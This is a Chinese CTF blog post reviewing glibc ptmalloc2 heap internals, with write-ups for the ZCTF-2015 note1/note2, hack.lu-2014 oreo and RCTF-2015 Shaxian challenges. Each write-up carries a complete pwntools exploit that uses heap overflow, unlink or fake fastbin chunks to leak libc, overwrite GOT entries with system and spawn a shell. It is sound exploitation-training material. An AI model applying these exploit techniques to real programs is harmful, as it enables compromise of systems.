堆漏洞练习

字数统计: 4k字   |   阅读时长≈ 17分

很久之前学习的堆相关的东西，里面的堆结构与利用方式都有点忘记了。这次当复习吧，同时学习一下以前学堆没有学到的一些东西。同时多做点有难度的赛题。

堆基础

先常见堆处理机制是glibc 集成的 ptmalloc2，其基本内存管理思想是：只有当真正访问一个地址的时候，系统才会建立虚拟页面与物理页面的映射关系。

堆基本操作

malloc

malloc 函数返回对应大小字节的内存块的指针，并对一些异常情况进行了处理：

  • 当 n = 0 时，返回当前系统允许的堆的最小内存块
  • 当 n 为负数时，由于在大多数系统上， size_t 是无符号数，所以程序就会申请很大的内存空间，但通常来说都会失败，因为系统没有那么多的内存可以分配。

free

free函数会释放由 p 所指向的内存块，这个内存块有可能通过 malloc 函数得到，也可能通过 realloc 得到。

异常处理为：

  • 当 p 为空指针时，函数不执行任何操作
  • 当 p 已经被释放之后，再次释放会出现乱七八糟的效果，这就是 doubel free
  • 除了被禁用(mallopt)的情况下，当释放很大的内存空间时，程序会将这些内存空间还给系统，以便减小程序所使用的内存空间

内存分配后的系统调用

无论 malloc 和free 动态申请释放内存时，都会调用系统函数 （s)brk 函数以及 mmap，munmap 函数。

image-20200813093753480

(s)brk

  • 不开启 ASLR 时，start_brk 以及 brk 会指向 data/bss 段的结尾
  • 开启 ASLR 时，start_brk 以及 brk 也会指向同一位置，只是这个位置是在 data/bss 段结尾后的随机偏移处

mmap

malloc 会使用 mmap 来创建独立的匿名映射段，目的是可以申请以 0 为填充的内存，并且这块内存仅被调用进程所使用

unlink 用来将一个双向链表（只存储空闲的 chunk）中的一个元素取出来，使用条件：

  • malloc
    • 从恰好大小何时的 Large bin 中获取 chunk
      • fastbin 和 small bin 没有使用 unlink
      • 依次遍历处理 unsorted bin 时也没有使用 unlink

​ 从比请求的 chunk 所在的 bin大的 bin 中取 chunk

  • free

    • 后向合并，合并物理相邻低地址空闲的 chunk
    • 前向合并，合并物理相邻高地址空闲 chunk（除了top chunk）

  • malloc_consodlidate

    • 后向合并，合并物理相邻低地址空闲chunk
    • 前向合并，合并物理相邻高低地址空闲 chunk（除了 top chunk)

  • realloc

    • 前向扩展，合并物理相邻高地址空闲 chunk（除了top chunk）

malloc_printerr

在 glibc_malloc 时检测到错误的时候，会调用 malloc_printer函数

1
2
3
4
static void malloc_printerr(const char *str) {
  __libc_message(do_abort, "%s\n", str);
  __builtin_unreachable();
}

会调用 __libc_message来执行 abort 函数，如下：

1
2
3
4
5
6
7
if ((action & do_abort)) {
  if ((action & do_backtrace))
    BEFORE_ABORT(do_abort, written, fd);

  /* Kill the application.  */
  abort();
}

在 abort 函数里，在 glibc 还是 2.23 版本时，会 fflush stream。

1
2
3
4
5
6
7
/* Flush all streams.  We cannot close them now because the user
   might have registered a handler for SIGABRT.  */
if (stage == 1)
  {
    ++stage;
    fflush (NULL);
  }

申请内存块

__libc_malloc

  • 首先会检查是否有内存分配函数的钩子函数 (__malloc_hook)，这个主要用于用户自定义的堆分配函数，方便用户快速修改堆分配函数并进行测试。用户申请的字节一旦进入申请内存函数中就变成了无符号整数。

  • 会寻找一个 arena 分配内存

  • 调用 _int_malloc 函数去申请对应的内存

  • 如果分配失败，ptmalloc 会尝试再去寻找一个可用的 arena，并分配内存

  • 如果申请到了 arena，则在退出之前还得解锁

判断目前的状态是否满足以下条件：

  • 要么没申请到内存
  • 要么是 mmap 的内存
  • 要么申请到的内存必须在其所分配的 arena 中
1
2
assert(!victim || chunk_is_mmapped(mem2chunk(victim)) ||
       ar_ptr == arena_for_chunk(mem2chunk(victim)));

最后返回内存

__int_malloc

__int_malloc 是内存分配的核心函数，其核心思路如下：

  1. 根据用户申请的内存块大小以及相应大小 chunk 通常使用的 频度(fastbin chunk, small chunk, large chunk)，依次实现了不同的分配方法
  2. 由小到大依次检查不同的 Bin 中是否有相应的空闲块可以满足用户请求的内存
  3. 当所有的空闲 chunk 都无法满足时，他会考虑 top chunk。
  4. 当 top chunk 也无法满足时，堆分配器才会进行内存块申请

多线程支持

在 glibc 的 ptmalloc 实现中，支持了多线程的快速访问，所有线程共享多个堆。

堆相关数据

malloc_chunk

chunk无论大小和状态，其都统一使用一个数据结构。不过根据是否被释放，其含义会有不同。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/*
  This struct declaration is misleading (but accurate and necessary).
  It declares a "view" into memory allowing access to necessary
  fields at known offsets from a given base. See explanation below.
*/
struct malloc_chunk {

  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */

  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;

  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};

  • prev_size，前一堆块空闲时会记录前一块的size大小，如果前一堆块在使用则可以被前一堆块使用记录数据。（前一堆块指地址较低的chunk）

  • size，该chunk 的大小，大小必须是 2*SIZE_SZ 的整数倍，如果不是整数倍，也会分配匹配的最小整数倍。SIZE_SZ 32位是 4字节，64位是 8字节。字段的低三个比特位为：

    • NON_MAIN_ARENA，记录当前堆块是否属于主线程，是为 1，不是为0
    • IS_MAPPED，记录当前 chunk 是否是 由 mmap 分配的
    • PREV_INUSE，记录前一个 chunk 块是否被分配。堆分配的第一个 堆块其 标志为 1，以防止访问前面的非法内存。当一个 chunk 的size 的 P位为0 时，通过 prev_size 字段来获取上一个 chunk 的大小以及地址，便于 对空闲堆块的合并。

  • fd，bk。分配时，这两个含有 堆块的数据。空闲时，fd 指向 下一个（非物理相邻）空闲的 chunk，bk指向 上一个(非物理相邻)空闲的 chunk

  • fd_nextsize，bi_nextsize，是只有 chunk 空闲的时候才使用，用于较大的 chunk（large chunk)：fd_nextsize 指向前一个 与当前 chunk 大小不同的第一个 空闲块，不包含 bin 头指针。bk_nextsize 指向后一个 大小不同空闲堆块。 空闲 large_chunk 在 fd 的遍历顺序中，按照由大到小的顺序排列，可以避免在分配chunk时遍历查找。

ZCTF-2015-note1

程序分析

程序总体实现了一个 note 的创建、展示、修改和删除，和一个正常题目差不多。note 的结构体如下：

1
2
3
4
5
6
7
note{
	note*	pre_note;
	note*	next_note;
	char[0x40]	title;
	char[0x30]	type;
	char[0x100]	content;
}

程序的漏洞在于，修改时发生了堆溢出，可以输入的content大小变为了 0x200：

image-20200812113704507

漏洞分析

有一个堆溢出漏洞，并且堆结构中存放了两个指针用于遍历 note。如果溢出修改next指针，那么通过show 和 edit 函数，我们就能对指针处的值进行泄露或修改。

还有 delete 函数有一个 释放时 如同链表一样的操作，可以实现修改 note_list 这个链表的头指针，这也是可以利用的地方。

EXP

这里我就是使用的常规方法，泄露 libc 地址，修改atoi_got 地址为system地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *
context.log_level = 'debug'

p = process('./note1_pwn2')
elf = ELF('./note1_pwn2')
atoi_got = elf.got['atoi']
libc = ELF('./libc.so.6')

def create(title,type,content):
    p.recvuntil('option--->>\n')
    p.sendline('1')
    p.recvuntil('Enter the title:\n')
    p.sendline(title)
    p.recvuntil('Enter the type:\n')
    p.sendline(type)
    p.recvuntil('Enter the content:\n')
    p.sendline(content)

def show():
    p.recvuntil('option--->>\n')
    p.sendline('2')

def edit(title, content):
    p.recvuntil('option--->>\n')
    p.sendline('3')
    p.recvuntil('Input the note title:\n')
    p.sendline(title)
    p.recvuntil('Enter the new content:\n')
    p.sendline(content)

def delete(title):
    p.recvuntil('option--->>\n')
    p.sendline('4')
    p.recvuntil('Input the note title:\n')
    p.sendline(title)

#gdb.attach(p, 'b *0x400ba2')

create('1','1','1111')
create('2','2','2222')
create('3','3','3333')

payload = 'a'*0x100 + 'b'*0x18+p64(atoi_got-0x78)+'2'
edit('1',payload)

show()
p.recvuntil('2222')
data = p.recvuntil('type=')
title = data[7:].split(',')
print 'title:',title[0]

recv = p.recvuntil('content=')
recv = p.recvuntil('option--->>\n')

setvbuf_addr = u64(recv[0:6].ljust(0x8, '\x00'))
print 'sevbuf_addr:',hex(setvbuf_addr)

system_addr = setvbuf_addr - (libc.symbols['setvbuf']-libc.symbols['system'])
bin_sh_addr = setvbuf_addr - (libc.symbols['setvbuf']-next(libc.search('/bin/sh\x00')))
print 'system_addr:',hex(system_addr)
print 'bin_sh_addr:',hex(bin_sh_addr)

payload = p64(setvbuf_addr)+p64(system_addr)
p.sendline('3')
p.recvuntil('Input the note title:\n')
p.sendline(title[0])
p.recvuntil('Enter the new content:\n')
p.sendline(payload)

p.recvuntil('option--->>\n')
p.sendline('/bin/sh\x00')

p.interactive()

ZCTF-2015-note2

程序分析

这道题大概逻辑和上一题差不多，区别在于漏洞点有点不易发现。是无符号整数 导致的整数溢出。当 无符号整数 0 - 1 后，其会变成最大的整数，就造成了我们可以堆溢出。同时当申请堆大小为 0 时，其会分配最小的 堆块（64位为0x20，32位为 0x10)。

image-20200812180847056

漏洞分析

我们可以构造三个堆块，其中第一个和第三个大小为 0x80，而第二个大小为 0x0。然后再通过第 2 个堆块的堆溢出去覆盖第三个堆块的 堆头，同时在第一个堆块中伪造一个 假的 fastbin块，修改其 fd 和 bk 指针为我们想控制的 地址。然后通过释放第三块，造成第一块的 unlink，最终控制 一个地址，此处地址选择 note_list 地址 0x602120。

其中，最重要的就是要伪造好 fastbin 和 下一个堆块的堆头。

1
2
3
4
5
6
7
第一个堆块real_chunk:
0x0*8 | real_size(0x91) | buffer 
我们伪造的fastbin:
0x0*8 | fake_size(0x81) | fake_fd(note_lsit-0x18) | fake_bk(note_list-0x10) | buffer | fake_pre_size(0x80)

修改的下一个堆块的head:
fake_pre_size(0xa0) | size(0x90)

其中注意是 fastbin 中的 fake_pre_size 是我们当前伪造的 fastbin 的大小，其 in_use 位要置为 0,

而 下一个堆头中 pre_size 位大小要满足： 此时地址堆地址 - pre_size = fake_fast_bin_head_addr ，所以此处为 0xa0

还有下一个堆块的 size 位要把 pre_in_use 位 置为0，这样 free() 时，系统才会向前去指向 unlink。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *
context.log_level = 'debug'

p = process('./note2')
elf = ELF('./note2')
libc = ELF('./libc.so.6')

atoi_got = elf.got['atoi']
note_list = 0x602120

def create(length, content):
    p.recvuntil('option--->>\n')
    p.sendline('1')
    p.recvuntil('(less than 128)\n')
    p.sendline(str(length))
    p.recvuntil('Input the note content:\n')
    p.sendline(content)

def show(cId):
    p.recvuntil('option--->>\n')
    p.sendline('2')
    p.recvuntil('Input the id of the note:\n')
    p.sendline(cId)

def edit(cId, op, content):
    p.recvuntil('option--->>\n')
    p.sendline('3')
    p.recvuntil('Input the id of the note:\n')
    p.sendline(cId)
    p.recvuntil('do you want to overwrite or append?[1.overwrite/2.append]\n')
    p.sendline(op)
    p.sendline(content)

def delete(cId):
    p.recvuntil('option--->>\n')
    p.sendline('4')
    p.recvuntil('Input the id of the note:\n')
    p.sendline(cId)


#gdb.attach(p, 'b *0x400f31')

p.recvuntil('Input your name:\n')
p.sendline('name')
p.recvuntil('Input your address:\n')
p.sendline('address')


payload = 'a'*0x8 + p64(0x71) + p64(note_list - 0x18) + p64(note_list - 0x10)+'b'*0x50+p64(0x70)
create(0x80, payload)

create(0, 'a'*0x10)

payload = 'f'*0x10
create(0x80, payload)

delete('1')

payload =  'a'*0x10+p64(0xa0) + p64(0x90)
create(0, payload)

delete('2')

payload = 'a' * 0x18 + p64(atoi_got)
edit('0', '1', payload)

show('0')
data = p.recvuntil('option--->>\n')
atoi_addr = u64(data[11:17].ljust(8, '\x00'))
print 'atoi_addr:',atoi_addr

system_addr = atoi_addr - (libc.symbols['atoi'] - libc.symbols['system'])
print 'system_addr:',hex(system_addr)

payload = p64(system_addr)
p.sendline('3')
p.recvuntil('Input the id of the note:\n')
p.sendline('0')
p.recvuntil('do you want to overwrite or append?[1.overwrite/2.append]\n')
p.sendline('1')
p.sendline(payload)

p.recvuntil('option--->>\n')
p.sendline('/bin/sh\x00')

p.interactive()

hack-lu-2014-oreo

Arbitrary Alloc

Arbitrary Alloc 其实与 Alloc to stack 是完全相同的，唯一的区别是分配的目标不再是栈中。 事实上只要满足目标地址存在合法的 size 域（这个 size 域是构造的，还是自然存在的都无妨），我们可以把 chunk 分配到任意的可写内存中，比如 bss、heap、data、stack 等等。

在非栈上构造一个 fastbin，除了需要伪造 size 满足 fastbin 范围之内外。通过下面这道题，还有一个重要点，就是 我们伪造的堆块的地址的 后面这个紧接着的 size 地址 数 不能太大，一般可设为 0x100。

漏洞分析

image-20200817191829104

漏洞点，在 输入 name 和 content 时都存在溢出。也就是 可以修改 堆块结构里的 Next 指针 以及下一个堆块头。这里 修改下一个 堆块头没有用到，主要是利用修改 next 指针使得我们能够在 bss上伪造一个堆块。

image-20200817192032082

然后就是选择伪造的地址，上图中位于 bss 地址内，其中 order_num 和 Rifle_num 都是随着我们 增加提交等动作而变化。而 notice 则存储的是 notice 的指针，其指向 0x804a2c0。如果我们提交 了 0x41个堆块，那么 Rifle_num 将为 0x41，然后我们再将 最后一个堆块的 Next 溢出修改为 0x804a2a8。那么随后调用 free 函数，将会对整个链条依次 free，所以就可以将我们伪造的 0x804a2a8 这个堆块放进 fastbin中。

最后我们再将该堆块申请出来，则可以实现控制notice 这里指向的指针，再通过 提交 Notice 来修改任意地址数据。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *
context.log_level = 'debug'

p = process('./oreo')
elf = ELF('./oreo')
libc = ELF('./libc.so.6')

order_num = 0x804A2A8
puts_got = elf.got['puts']
scanf_got = 0x804A258

def Add(name, des):
    p.sendline('1')
    p.sendline(name)
    p.sendline(des)

def Show():
    p.sendline('2')

def Submit():
    p.sendline('3')

def AddNotice(notice):
    p.sendline('4')
    p.sendline(notice)

def showStats():
    p.sendline('5')

#gdb.attach(p, 'b *0x8048729')

#leak puts_got
name = 'a'*27 + p32(puts_got)
payload = 'b'
Add(name, payload)
Show()
p.recvuntil('Description: ')
p.recvuntil('Description: ')
recv = p.recv()
puts_addr = u32(recv[0:4])
print 'puts_addr:',hex(puts_addr)

system_addr = puts_addr - (libc.symbols['puts'] - libc.symbols['system'])
print 'system_addr:',hex(system_addr)
#伪造 rifle_num 为0x41 
for i in range(0x40-1):
    name = 'a'*27+p32(0)
    des = 'b'
    Add(name, des)

#fake fastbin chunk
name = 'a'*27 + p32(order_num)
payload = 'b'
print len(payload)
Add(name, payload)
#将伪造的堆块的 下一个 size地址设置为 0x100
notice = 'a'*(0x20-4)+p32(0x0)+p32(0x0)+p32(0x100)
AddNotice(notice)
Submit()

name = 'a'+p32(scanf_got)
payload = p32(scanf_got)
Add(name, payload)
gdb.attach(p, 'b *0x80487b4')
notice = p32(system_addr)
AddNotice(notice)

p.sendline('/bin/sh\x00')

p.interactive()

RCTF-2015 Shaxian

这道题和上一题一样，都是伪造 fast chunk 到一个指针处，然后通过修改指针的值，修改任意地址。

漏洞分析

image-20200818121135238

漏洞原因就在我们输入内容时，能够覆盖结构体中的 next 指针。导致我们可以free 一个我们伪造的 fastbin chunk。而 gouwuche 这是一个链表指针，指向最新的一个 chunk地址，如果我们伪造的chunk能够覆盖该指针。那么就可以实现 修改任意地址的值。

这道题，主要是 伪造 chunk 的堆头，要注意 地址对齐吧，我试了一下大概需要都是 0x10 的整数倍。

还有 atoi() 输入地址时，需要 减去 0x100000000 地址才行。

EXP

这里先放上一个简单版，即我们能够得到 Libc库基址。这样就可以常规的 覆盖 got 表就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *
context.log_level = 'debug'

p = process('./shaxian')
elf = ELF('./shaxian')
libc = ELF('./libc.so.6')
atoi_got = elf.got['atoi']-0x4
#set_buf = 0x804b034
gouwuche = 0x804B1C0-0x8

def diancai(content, num):
    #p.recvuntil('choose:\n')
    p.sendline('1')
    p.recvuntil('5.Jianjiao')
    p.sendline(content)
    p.recvuntil('How many?\n')
    p.sendline(num)

def submit():
    p.recvuntil('choose:\n')
    p.sendline('2')

def get_receipt(receipt):
    p.recvuntil('choose:\n')
    p.sendline('3')
    p.recvuntil('Taitou:')
    p.sendline(receipt)

def review():
    p.recvuntil('choose:\n')
    p.sendline('4')

# p.recvuntil('Your Address:\n')
# address = p32(0x0)+p32(0x0) +p32(0x31)
# p.sendline(address)
# p.recvuntil('Your Phone number:\n')
# number = 'a'*(0x100-0xc)+p32(0x0)+p32(0x31)
# p.sendline(number)

p.recvuntil('Your Address:\n')
address = p32(0x0) +p32(0x31)
p.sendline(address)
p.recvuntil('Your Phone number:\n')
number = 'a'*(0x100-0xc)+p32(0x31)
p.sendline(number)

#leak atoi_got
payload = 'a'*0x20+p32(atoi_got)
num = '111'
p.recvuntil('choose:\n')
diancai(payload, num)
#gdb.attach(p, 'b *0x80489c0')
review()
p.recvuntil('Cart:')
recv = p.recvuntil('111')
recv = p.recv()
print recv
atoi_addr = u32(recv[1:5])
print 'atoi_addr:',hex(atoi_addr)

system_addr = atoi_addr - (libc.symbols['atoi'] - libc.symbols['system'])
print 'system_addr:',hex(system_addr)

payload = 'a'*0x20 + p32(gouwuche)
num = '1'
#gdb.attach(p, 'b *0x80489c0')
diancai(payload, num)
submit()

system_add_int = int(system_addr)
print str(system_add_int)
payload = 'a'*4+p32(atoi_got+0x4)
num = str(system_addr- 0x100000000)
print str(system_addr- 0x100000000)
#gdb.attach(p, 'b *0x8048721')
diancai(payload, num)
p.sendline('/bin/sh\x00')
p.interactive()
赏

只要你支持她，我们就是好朋友2333

支付宝
微信

扫一扫，分享到微信

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia-plus根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

主要研究：
二进制安全、漏洞挖掘
CTF菜鸡一只

天枢Dubhe 学习ing